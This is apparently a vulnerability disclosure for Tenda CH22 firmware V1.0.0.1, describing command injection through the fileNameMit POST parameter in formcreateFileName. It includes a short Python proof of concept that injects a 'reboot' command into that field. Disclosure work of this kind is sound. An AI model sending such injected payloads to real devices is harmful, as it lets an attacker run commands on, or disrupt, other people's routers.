Overview

Affected version

CH22 V1.0.0.1

Vulnerability details

The Tenda CH22 V1.0.0.1 firmware has a command injection vulnerability in the formcreateFileName function. The s variable receives the fileNameMit parameter from a POST request and is later passed to the v4 = strtok(s, "*"); function. The variable v4 is directly assigned to system by doSystemCmd However, since the Since user can control the input of fileNameMit, the statemeant doSystemCmd("/usr/sbin/EditDiskDir %s add '%s' ", v4, v3); can cause a command injection.

image.png

PoC

import requests

ip = "192.168.1.1"

url = f'http://{ip}/goform/formcreateFileName'
payload = '；reboot'

data = {"fileNameMit": payload}

requests.post(url, data=data)

image.png